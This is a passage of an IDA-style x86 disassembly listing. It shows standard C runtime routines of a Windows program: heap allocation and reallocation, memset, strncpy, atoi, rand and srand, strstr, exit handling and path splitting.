loc_41B50E:				; CODE XREF: sub_41B3F2+43j
		cmp	ds:dword_4DDF3C, 0
		jz	short loc_41B52B
		push	esi
		call	sub_41F532
		test	eax, eax
		pop	ecx
		jnz	loc_41B430
		jmp	loc_41B68B
; ---------------------------------------------------------------------------


loc_41B52B:				; CODE XREF: sub_41B3F2+11Aj
					; sub_41B3F2+123j ...
		mov	eax, edi
		jmp	loc_41B68D
; ---------------------------------------------------------------------------


loc_41B532:				; CODE XREF: sub_41B3F2+38j
		cmp	eax, 2
		jnz	loc_41B64D
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B54F
		test	esi, esi
		jbe	short loc_41B54C
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B54F
; ---------------------------------------------------------------------------


loc_41B54C:				; CODE XREF: sub_41B3F2+150j
		push	10h
		pop	esi


loc_41B54F:				; CODE XREF: sub_41B3F2+14Cj
					; sub_41B3F2+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B62F
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EDF2
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_41B613
		cmp	esi, ds:dword_43EF84
		jnb	short loc_41B5D7
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41F1BA
		add	esp, 10h
		test	eax, eax
		jz	short loc_41B59D
		mov	edi, [ebp+arg_0]
		jmp	short loc_41B5CF
; ---------------------------------------------------------------------------


loc_41B59D:				; CODE XREF: sub_41B3F2+1A4j
		push	edi
		call	sub_41EE8E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B5D7
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B5B6
		mov	eax, esi


loc_41B5B6:				; CODE XREF: sub_41B3F2+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C500
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EE49
		add	esp, 18h


loc_41B5CF:				; CODE XREF: sub_41B3F2+1A9j
		test	edi, edi
		jnz	loc_41B52B


loc_41B5D7:				; CODE XREF: sub_41B3F2+18Bj
					; sub_41B3F2+1B6j
		push	esi
		push	0
		push	ds:dword_4DF544
		call	ds:dword_428148	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B62F
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B5F8
		mov	eax, esi


loc_41B5F8:				; CODE XREF: sub_41B3F2+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C500
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EE49
		add	esp, 18h
		jmp	short loc_41B627
; ---------------------------------------------------------------------------


loc_41B613:				; CODE XREF: sub_41B3F2+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	ds:dword_4DF544
		call	ds:dword_42819C	; RtlReAllocateHeap
		mov	edi, eax


loc_41B627:				; CODE XREF: sub_41B3F2+21Fj
		test	edi, edi
		jnz	loc_41B52B


loc_41B62F:				; CODE XREF: sub_41B3F2+162j
					; sub_41B3F2+1F8j
		cmp	ds:dword_4DDF3C, 0
		jz	loc_41B52B
		push	esi
		call	sub_41F532
		test	eax, eax
		pop	ecx
		jnz	loc_41B54F
		jmp	short loc_41B68B
; ---------------------------------------------------------------------------


loc_41B64D:				; CODE XREF: sub_41B3F2+143j
					; sub_41B3F2+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B677
		test	esi, esi
		jnz	short loc_41B65B
		push	1
		pop	esi


loc_41B65B:				; CODE XREF: sub_41B3F2+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	ds:dword_4DF544
		call	ds:dword_42819C	; RtlReAllocateHeap
		test	eax, eax
		jnz	short loc_41B68D


loc_41B677:				; CODE XREF: sub_41B3F2+260j
		cmp	ds:dword_4DDF3C, 0
		jz	short loc_41B68D
		push	esi
		call	sub_41F532
		test	eax, eax
		pop	ecx
		jnz	short loc_41B64D


loc_41B68B:				; CODE XREF: sub_41B3F2+2Bj
					; sub_41B3F2+134j ...
		xor	eax, eax


loc_41B68D:				; CODE XREF: sub_41B3F2+16j
					; sub_41B3F2+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B3F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B692	proc near		; CODE XREF: sub_41B6B2+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41F6BD
		test	eax, eax
		jnz	short loc_41B69C
		retn
; ---------------------------------------------------------------------------


loc_41B69C:				; CODE XREF: sub_41B692+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41F54D
		add	esp, 10h
		retn
sub_41B692	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B6B2	proc near		; CODE XREF: seg000:004010DAp
					; seg000:00407326p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41B692
		add	esp, 0Ch
		retn
sub_41B6B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B6C5	proc near		; CODE XREF: seg000:004010C8p
					; sub_40AA20+5Fp ...

arg_0		= dword	ptr  4

		push	ds:dword_4DDF3C
		push	[esp+4+arg_0]
		call	sub_41B6D7
		pop	ecx
		pop	ecx
		retn
sub_41B6C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B6D7	proc near		; CODE XREF: sub_41B6C5+Ap
					; sub_41D1B5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_41B700


loc_41B6DE:				; CODE XREF: sub_41B6D7+27j
		push	[esp+arg_0]
		call	sub_41B703
		test	eax, eax
		pop	ecx
		jnz	short locret_41B702
		cmp	[esp+arg_4], eax
		jz	short locret_41B702
		push	[esp+arg_0]
		call	sub_41F532
		test	eax, eax
		pop	ecx
		jnz	short loc_41B6DE


loc_41B700:				; CODE XREF: sub_41B6D7+5j
		xor	eax, eax

locret_41B702:				; CODE XREF: sub_41B6D7+13j
					; sub_41B6D7+19j
		retn
sub_41B6D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B703	proc near		; CODE XREF: sub_41B6D7+Bp

arg_0		= dword	ptr  4

		mov	eax, ds:dword_4DF548
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_41B727
		cmp	esi, ds:dword_4DF540
		ja	short loc_41B759
		push	esi
		call	sub_41E3EB
		test	eax, eax
		pop	ecx
		jz	short loc_41B759
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41B727:				; CODE XREF: sub_41B703+Dj
		cmp	eax, 2
		jnz	short loc_41B759
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_41B73C
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B73F
; ---------------------------------------------------------------------------


loc_41B73C:				; CODE XREF: sub_41B703+2Fj
		push	10h
		pop	esi


loc_41B73F:				; CODE XREF: sub_41B703+37j
		cmp	esi, ds:dword_43EF84
		ja	short loc_41B766
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EE8E
		test	eax, eax
		pop	ecx
		jnz	short loc_41B775
		jmp	short loc_41B766
; ---------------------------------------------------------------------------


loc_41B759:				; CODE XREF: sub_41B703+15j
					; sub_41B703+20j ...
		test	esi, esi
		jnz	short loc_41B760
		push	1
		pop	esi


loc_41B760:				; CODE XREF: sub_41B703+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_41B766:				; CODE XREF: sub_41B703+42j
					; sub_41B703+54j
		push	esi
		push	0
		push	ds:dword_4DF544
		call	ds:dword_428148	; RtlAllocateHeap


loc_41B775:				; CODE XREF: sub_41B703+52j
		pop	esi
		retn
sub_41B703	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B780	proc near		; CODE XREF: sub_401132+3Cp
					; sub_401132+4Ap ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41B7D3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41B7C7
		neg	ecx
		and	ecx, 3
		jz	short loc_41B7A9
		sub	edx, ecx


loc_41B7A3:				; CODE XREF: sub_41B780+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_41B7A3


loc_41B7A9:				; CODE XREF: sub_41B780+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41B7C7
		rep stosd
		test	edx, edx
		jz	short loc_41B7CD


loc_41B7C7:				; CODE XREF: sub_41B780+18j
					; sub_41B780+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_41B7C7


loc_41B7CD:				; CODE XREF: sub_41B780+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B7D3:				; CODE XREF: sub_41B780+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41B780	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B7E0	proc near		; CODE XREF: sub_401875+98p
					; seg000:00401B9Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_41B863
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_41B804
		shr	ecx, 2
		jnz	short loc_41B871
		jmp	short loc_41B825
; ---------------------------------------------------------------------------


loc_41B804:				; CODE XREF: sub_41B7E0+1Bj
					; sub_41B7E0+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_41B832
		test	al, al
		jz	short loc_41B83A
		test	esi, 3
		jnz	short loc_41B804
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B871


loc_41B820:				; CODE XREF: sub_41B7E0+8Fj
		and	ebx, 3
		jz	short loc_41B832


loc_41B825:				; CODE XREF: sub_41B7E0+22j
					; sub_41B7E0+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41B85E
		dec	ebx
		jnz	short loc_41B825


loc_41B832:				; CODE XREF: sub_41B7E0+2Bj
					; sub_41B7E0+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B83A:				; CODE XREF: sub_41B7E0+2Fj
		test	edi, 3
		jz	short loc_41B854


loc_41B842:				; CODE XREF: sub_41B7E0+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_41B8D6
		test	edi, 3
		jnz	short loc_41B842


loc_41B854:				; CODE XREF: sub_41B7E0+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B8C7


loc_41B85B:				; CODE XREF: sub_41B7E0+7Fj
					; sub_41B7E0+F4j
		mov	[edi], al
		inc	edi


loc_41B85E:				; CODE XREF: sub_41B7E0+4Dj
		dec	ebx
		jnz	short loc_41B85B
		pop	ebx
		pop	esi


loc_41B863:				; CODE XREF: sub_41B7E0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B869:				; CODE XREF: sub_41B7E0+A9j
					; sub_41B7E0+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41B820


loc_41B871:				; CODE XREF: sub_41B7E0+20j
					; sub_41B7E0+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41B869
		test	dl, dl
		jz	short loc_41B8BB
		test	dh, dh
		jz	short loc_41B8B1
		test	edx, 0FF0000h
		jz	short loc_41B8A7
		test	edx, 0FF000000h
		jnz	short loc_41B869
		mov	[edi], edx
		jmp	short loc_41B8BF
; ---------------------------------------------------------------------------


loc_41B8A7:				; CODE XREF: sub_41B7E0+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41B8BF
; ---------------------------------------------------------------------------


loc_41B8B1:				; CODE XREF: sub_41B7E0+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41B8BF
; ---------------------------------------------------------------------------


loc_41B8BB:				; CODE XREF: sub_41B7E0+ADj
		xor	edx, edx
		mov	[edi], edx


loc_41B8BF:				; CODE XREF: sub_41B7E0+C5j
					; sub_41B7E0+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_41B8D1


loc_41B8C7:				; CODE XREF: sub_41B7E0+79j
		xor	eax, eax


loc_41B8C9:				; CODE XREF: sub_41B7E0+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_41B8C9


loc_41B8D1:				; CODE XREF: sub_41B7E0+E5j
		and	ebx, 3
		jnz	short loc_41B85B


loc_41B8D6:				; CODE XREF: sub_41B7E0+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41B7E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8DE	proc near		; CODE XREF: sub_41B969+4p
					; sub_424A3C+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_41B8E6:				; CODE XREF: sub_41B8DE+34j
		cmp	ds:dword_43F194, 1
		jle	short loc_41B8FE
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41F735
		pop	ecx
		pop	ecx
		jmp	short loc_41B90D
; ---------------------------------------------------------------------------


loc_41B8FE:				; CODE XREF: sub_41B8DE+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, ds:off_43EF88
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41B90D:				; CODE XREF: sub_41B8DE+1Ej
		test	eax, eax
		jz	short loc_41B914
		inc	edi
		jmp	short loc_41B8E6
; ---------------------------------------------------------------------------


loc_41B914:				; CODE XREF: sub_41B8DE+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_41B924
		cmp	esi, 2Bh
		jnz	short loc_41B928


loc_41B924:				; CODE XREF: sub_41B8DE+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_41B928:				; CODE XREF: sub_41B8DE+44j
		xor	ebx, ebx


loc_41B92A:				; CODE XREF: sub_41B8DE+7Bj
		cmp	ds:dword_43F194, 1
		jle	short loc_41B93F
		push	4
		push	esi
		call	sub_41F735
		pop	ecx
		pop	ecx
		jmp	short loc_41B94A
; ---------------------------------------------------------------------------


loc_41B93F:				; CODE XREF: sub_41B8DE+53j
		mov	eax, ds:off_43EF88
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41B94A:				; CODE XREF: sub_41B8DE+5Fj
		test	eax, eax
		jz	short loc_41B95B
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_41B92A
; ---------------------------------------------------------------------------


loc_41B95B:				; CODE XREF: sub_41B8DE+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41B964
		neg	eax


loc_41B964:				; CODE XREF: sub_41B8DE+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41B8DE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B969	proc near		; CODE XREF: seg000:004021F3p
					; seg000:00402457p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B8DE
		pop	ecx
		retn
sub_41B969	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B974	proc near		; CODE XREF: seg000:0041DBE6p
		mov	eax, ds:off_43CF2C
		test	eax, eax
		jz	short loc_41B97F
		call	eax ; sub_41C938


loc_41B97F:				; CODE XREF: sub_41B974+7j
		push	offset dword_42A030
		push	offset dword_42A01C
		call	sub_41BA5C
		push	offset dword_42A018
		push	offset dword_42A000
		call	sub_41BA5C
		add	esp, 10h
		retn
sub_41B974	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B9A1	proc near		; CODE XREF: seg000:0041DC25p

arg_0		= dword	ptr  4

		push	0
		push	0
		push	[esp+8+arg_0]
		call	sub_41B9C3
		add	esp, 0Ch
		retn
sub_41B9A1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B9B2	proc near		; CODE XREF: seg000:0041DC44p
					; sub_41DC49+1Cp ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_41B9C3
		add	esp, 0Ch
		retn
sub_41B9B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B9C3	proc near		; CODE XREF: sub_41B9A1+8p
					; sub_41B9B2+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	ds:dword_4DDEFC, edi
		jnz	short loc_41B9E0
		push	[esp+4+arg_0]
		call	near ptr 0B10000h
		sbb	edx, [eax-18h]
		and	[esi+6Fh], eax
		add	dl, ch


loc_41B9E0:				; CODE XREF: sub_41B9C3+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	ds:dword_4DDEF8, edi
		mov	ds:byte_4DDEF4,	bl
		jnz	short loc_41BA34
		mov	eax, ds:dword_4DF55C
		test	eax, eax
		jz	short loc_41BA23
		mov	ecx, ds:dword_4DF558
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_41BA22


loc_41BA0F:				; CODE XREF: sub_41B9C3+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41BA17
		call	eax


loc_41BA17:				; CODE XREF: sub_41B9C3+50j
		sub	esi, 4
		cmp	esi, ds:dword_4DF55C
		jnb	short loc_41BA0F


loc_41BA22:				; CODE XREF: sub_41B9C3+4Aj
		pop	esi


loc_41BA23:				; CODE XREF: sub_41B9C3+3Cj
		push	offset dword_42A03C
		push	offset dword_42A034
		call	sub_41BA5C
		pop	ecx
		pop	ecx


loc_41BA34:				; CODE XREF: sub_41B9C3+33j
		push	offset dword_42A048
		push	offset dword_42A040
		call	sub_41BA5C
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_41BA5A
		push	[esp+4+arg_0]
		mov	ds:dword_4DDEFC, edi
		call	ds:dword_428068	; ExitProcess


loc_41BA5A:				; CODE XREF: sub_41B9C3+85j
		pop	edi
		retn
sub_41B9C3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BA5C	proc near		; CODE XREF: sub_41B974+15p
					; sub_41B974+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_41BA61:				; CODE XREF: sub_41BA5C+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41BA74
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41BA6F
		call	eax


loc_41BA6F:				; CODE XREF: sub_41BA5C+Fj
		add	esi, 4
		jmp	short loc_41BA61
; ---------------------------------------------------------------------------


loc_41BA74:				; CODE XREF: sub_41BA5C+9j
		pop	esi
		retn
sub_41BA5C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BA76	proc near		; CODE XREF: sub_4019DB+5Bp
					; seg000:00401E66p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41F8BF
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41BAB6
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41BAC3
; ---------------------------------------------------------------------------


loc_41BAB6:				; CODE XREF: sub_41BA76+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F7AA
		pop	ecx
		pop	ecx


loc_41BAC3:				; CODE XREF: sub_41BA76+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41BA76	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BAC8	proc near		; CODE XREF: seg000:0040127Bp
					; seg000:00404CB8p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ds:dword_43CF10, eax
		retn
sub_41BAC8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BAD2	proc near		; CODE XREF: seg000:loc_40285Dp
					; seg000:00404FD1p ...
		mov	eax, ds:dword_43CF10
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	ds:dword_43CF10, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41BAD2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BAF0	proc near		; CODE XREF: seg000:00401BD6p
					; seg000:00401D81p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41BB6A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41BB57


loc_41BB08:				; CODE XREF: sub_41BAF0+52j
					; sub_41BAF0+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41BB2A
		test	al, al
		jz	short loc_41BB24


loc_41BB19:				; CODE XREF: sub_41BAF0+32j
		mov	al, [esi]
		inc	esi


loc_41BB1C:				; CODE XREF: sub_41BAF0+3Fj
		cmp	al, dl
		jz	short loc_41BB2A
		test	al, al
		jnz	short loc_41BB19


loc_41BB24:				; CODE XREF: sub_41BAF0+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41BB2A:				; CODE XREF: sub_41BAF0+23j
					; sub_41BAF0+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41BB1C
		lea	edi, [esi-1]


loc_41BB34:				; CODE XREF: sub_41BAF0+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_41BB63
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_41BB08
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_41BB63
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41BB34
		jmp	short loc_41BB08
; ---------------------------------------------------------------------------


loc_41BB57:				; CODE XREF: sub_41BAF0+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_41C1A6
; ---------------------------------------------------------------------------


loc_41BB63:				; CODE XREF: sub_41BAF0+49j
					; sub_41BAF0+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BB6A:				; CODE XREF: sub_41BAF0+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41BAF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB70	proc near		; CODE XREF: seg000:004036E6p
					; seg000:00403717p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41F8BF
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41BBAF
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41BBBC
; ---------------------------------------------------------------------------


loc_41BBAF:				; CODE XREF: sub_41BB70+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F7AA
		pop	ecx
		pop	ecx


loc_41BBBC:				; CODE XREF: sub_41BB70+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41BB70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBC1	proc near		; CODE XREF: seg000:00403C38p
					; sub_41AC18+1E3p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41B1D0
		cmp	eax, 1
		pop	ecx
		jb	short loc_41BBFC
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_41BBFC
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41BBF8
		push	2
		push	ebx
		push	esi
		call	sub_4204A9
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_41BBF8:				; CODE XREF: sub_41BBC1+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41BC06
; ---------------------------------------------------------------------------


loc_41BBFC:				; CODE XREF: sub_41BBC1+18j
					; sub_41BBC1+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BC06
		and	byte ptr [eax],	0


loc_41BC06:				; CODE XREF: sub_41BBC1+39j
					; sub_41BBC1+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_41BC7E


loc_41BC19:				; CODE XREF: sub_41BBC1+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	ds:byte_4DF421[edx], 4
		jz	short loc_41BC2A
		inc	eax
		jmp	short loc_41BC44
; ---------------------------------------------------------------------------


loc_41BC2A:				; CODE XREF: sub_41BBC1+64j
		cmp	cl, 2Fh
		jz	short loc_41BC3E
		cmp	cl, 5Ch
		jz	short loc_41BC3E
		cmp	cl, 2Eh
		jnz	short loc_41BC44
		mov	[ebp+var_4], eax
		jmp	short loc_41BC44
; ---------------------------------------------------------------------------


loc_41BC3E:				; CODE XREF: sub_41BBC1+6Cj
					; sub_41BBC1+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_41BC44:				; CODE XREF: sub_41BBC1+67j
					; sub_41BBC1+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41BC19
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_41BC7E
		cmp	[ebp+arg_8], 0
		jz	short loc_41BC79
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BC62
		mov	edi, esi


loc_41BC62:				; CODE XREF: sub_41BBC1+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_4204A9
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41BC79:				; CODE XREF: sub_41BBC1+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41BC88
; ---------------------------------------------------------------------------


loc_41BC7E:				; CODE XREF: sub_41BBC1+56j
					; sub_41BBC1+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41BC88
		and	byte ptr [ecx],	0


loc_41BC88:				; CODE XREF: sub_41BBC1+BBj
					; sub_41BBC1+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_41BCDB
		cmp	edi, ebx
		jb	short loc_41BCDB
		cmp	[ebp+arg_C], 0
		jz	short loc_41BCB8
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BCA1
		mov	edi, esi


loc_41BCA1:				; CODE XREF: sub_41BBC1+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_4204A9
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
